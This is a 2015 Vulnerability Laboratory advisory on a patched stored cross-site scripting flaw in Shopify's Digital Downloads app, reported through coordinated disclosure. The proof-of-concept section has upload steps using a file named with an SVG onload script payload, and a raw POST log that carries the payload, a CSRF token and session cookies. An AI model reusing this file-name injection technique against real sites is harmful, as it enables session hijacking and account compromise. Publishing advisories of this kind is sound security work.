Shopify Input Validation
Posted on 15 September 2015
Document Title: =============== Shopify Bug Bounty #8 - (FilePath) Persistent Vulnerability References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1592 Release Date: ============= 2015-09-04 Vulnerability Laboratory ID (VL-ID): ==================================== 1593 Common Vulnerability Scoring System: ==================================== 4.1 Product & Service Introduction: =============================== Shopify is a Canadian commerce company headquartered in Ottawa, Ontario that develops computer software for online stores and retail point-of-sale systems. Shopify was founded in 2004, and was initially based on earlier software written by its founders for their online snowboard store. (Copy of the Vendor Homepage: http://www.shopify.com/ ) Abstract Advisory Information: ============================== The Vulnerability Laboratory Core Research Team discovered an application-side input validation web vulnerability in the official Shopify online service web-application. Vulnerability Disclosure Timeline: ================================== 2015-08-09: Researcher Notification & Coordination (Hadji Samir - Evolution Security GmbH) 2015-08-11: Vendor Notification (Shopify - Security & Bug Bounty Team) 2015-08-13: Vendor Response/Feedback (Shopify - Security & Bug Bounty Team 2015-08-14: Vendor Fix/Patch (Shopify - Developer Team) 2015-09-04: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Shopify Inc. Product: Shopify - Online Service (Web-Application) 2015 Q3 Exploitation Technique: ======================= Remote Severity Level: =============== Medium Technical Details & Description: ================================ An application-side validation vulnerability has been discovered in the official Shopify online service web-application. The vulnerability allows remote attackers to comrpomise user accounts by persistent malicious inject of script codes. The vulnerability has been located in the `attachment%5Bfilepath` value of the `attachments` module POST method request. Remote attackers are able to inject malicious script codes to the application-side of the online-service module. The request method to inject is POST and the attack vector is located on the application-side of the service. The attacker manipulates via live session tamper the `attachment > filepath` value to compromise the follow up application GET method requests. The security risk of the persistent input validation web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 4.1. Exploitation of the input and validation web vulnerability requires low or medium user interaction and no privilege web-application user account. Successful exploitation of the persistent web vulnerability results in session hijacking, persistent phishing attacks, persistent redirects to external malicious source and persistent manipulation of affected or connected module context. Request Method(s): [+] POST Vulnerable Page: [+] attachments Vulnerable Parameter(s): [+] attachment%5Bfilepath Proof of Concept (PoC): ======================= The persistent vulnerability can be exploited by remote attackers with low privilege application user account and low user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. Manual steps to reproduce the vulnerability in shopify ... 1. Installing the Digital Downloads App in *.myshopify.com 2. Install the app https://apps.shopify.com/digital-downloads 3. Select product and click Add Digital Attachment 4. Click to upload file and upload file with name <svg onload=alert(1)> 5. The code <svg onload=alert(1)> will execute XSS Note: <span class="file-name"><strong>Success:</strong> <svg onload="alert(1)"/></span> [tested and verified with mozilla firefox] 6. Successful reproduce of the remote vulnerability! --- PoC Session Logs [POST] --- POST https://delivery.shopifyapps.com/attachments Load Flags[LOAD_BYPASS_CACHE LOAD_BACKGROUND ] Content Size[-1] Mime Type[application/json] Request Headers: Host[delivery.shopifyapps.com] User-Agent[Mozilla/5.0 (X11; Linux i686; rv:18.0) Gecko/20100101 Firefox/18.0] Accept[*/*] Accept-Language[en-US,en;q=0.5] Accept-Encoding[gzip, deflate] X-CSRF-Token[tQMmbiufetQoGo8QyilppAQXeTiMl1gBOHh3fY1JroxPQRl0GppuRe8XYOiPUI3F2gW93r5Vbqwo+mTzmU2spQ==] Content-Type[application/x-www-form-urlencoded; charset=UTF-8] X-Requested-With[XMLHttpRequest] Referer[https://delivery.shopifyapps.com/products/1381861509?hmac=42ee70e18d01e5e4a3d323a002f2a9454bbe6ce3baed5795ba6ed7bd4ee37de1&protocol=https%3A%2F%2F&shop=testdz-2.myshopify.com&signature=942719fd26a31a2ab2ea9167923a6cad×tamp=1439553626] Content-Length[248] Cookie[_delivery_session=TDdkTnNiWk8rMFhUNnl2d0diRVNrYzVSM00rdysyZmMzeDRRV1JlcGk5WEZrRjF2OHRUUG01NkdnM0hrcEQ2YnA2cllVcnJjMjY5dDRSdlZjNnJ3RGg2L1JXelRvQmk0QnZNRzRvVGJ1akJ0aW54VE5TWnhIV0k2QUpIS0tHczNEcjcxZFNWVFJxODMwTlY2ZU9qQVdDR0NmcFk1dXdzMU5aRE5Fd2JPakNXakJvdnM0S1BXR1pyYlFnRjRQd0tEbGJTdGg4RlBscEh1NzhkQjhiZzRFS2pqZkk4ZTZ4Q1UrM0ZJMGs1ZlZkNmk1T0NWWUMxdnFTSzJSellHTVMyV3ZyTXJVMTdCZEk3eU52V3Z4Y1EzT0hEV2dBdEV4OU9EcW9JbjR0RWRNNGU2dyt4OS9LVjBtT1oxQVZZbHVNNGtyY01mTDh5YkVieHI0dDRyOWZzM0hWYXRWMWtIKzAzQWt6c2dUK2lieG8wPS0tRDZoRFRrbmU0aHRBMitoeTMvVmlBQT09--88390748471908d3c4b05dec54c02be53c163262] Connection[keep-alive] Pragma[no-cache] Cache-Control[no-cache] Post Data: attachment%5Bfilepath%5D[%3Csvg+onload%3Dalert('xss_by_samir')%3E] attachment%5Bfilesize%5D[0] attachment%5Bfile_content_type%5D[] attachment%5Bproduct_id%5D[1381861509] attachment%5Bvariant_id%5D[4244815685] attachment%5Bupload_status%5D[authenticating] Response Headers: Server[Cowboy] Connection[close] Date[Fri, 14 Aug 2015 12:00:41 GMT] Status[200 OK] X-XSS-Protection[1; mode=block] X-Content-Type-Options[nosniff] P3P[CP="Shopify does not support P3P."] Content-Type[application/json; charset=utf-8] Etag[W/"d50fff924fa2e268191b45876ef9aa2f"] Cache-Control[max-age=0, private, must-revalidate] Set-Cookie[_delivery_session=dXVldzlGWkNkZHluMDE2SEt5N1RMeURnVDdnYU0rK3dlekVReHExTTBEMEdBdVJ0SDJvcVRXYUhxdGl3TVRCdlY1N1dGZ1FaTWNycVVzc0x6dmhTOVN5L05rcko5VGdLN3BRZFBVODVjWFhvTnBEUDFkc21yN2RkRjlGekdDYU9MdTY0UTBsZFhzUkE2R2ptMU95U25udS9iZGM5d3VlcTVFT3UrR2wyR2JRL3R1K1paeWRNcVdsTGloZ1N5WVZsZERDamY4MWsveldCcU5GTTM1cW01ZURKbXNCRzZia3RqRkgrY0lSd09yeEREQmR2a0dvaGc0V1hBWUhnclI1Zy92aDlHTnFYaFhlUVJzUjNGWUFhR1VGRXA5ZFhZQmNTNlVKNkU0VVBTc0pQSkdyWk4wczQ1N1dXQVZNcHFRM2ZjUmMyYmx0UU1uMzlyVEdBME1rKzhLYmxRLzQ5aWNEaHBMcFBKU091MC9VPS0tUXNpUkM1cks5NHp5ZWFZbTFIcDBPdz09--2d0ebbcf2adcca4a94ee12e732b4900085faa6e0; path=/; HttpOnly] X-Request-Id[817696c4-6ccf-4a95-a497-3c1c4219085b] X-Runtime[0.133538] Via[1.1 vegur] Reference(s): https://delivery.shopifyapps.com/ https://delivery.shopifyapps.com/attachments Security Risk: ============== The security risk of the application-side input validation web vulnerability in the shopify frontend is estimated as medium. (CVSS 4.1) Credits & Authors: ================== Vulnerability Laboratory [Research Team] - Hadji Samir [samir@evolution-sec.com] Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material. Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com Section: magazine.vulnerability-db.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/ Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact (admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission. Copyright © 2015 | Vulnerability Laboratory - [Evolution Security GmbH]™ -- VULNERABILITY LABORATORY - RESEARCH TEAM SERVICE: www.vulnerability-lab.com CONTACT: research@vulnerability-lab.com PGP KEY: http://www.vulnerability-lab.com/keys/admin@vulnerability-lab.com%280x198E9928%29.txt
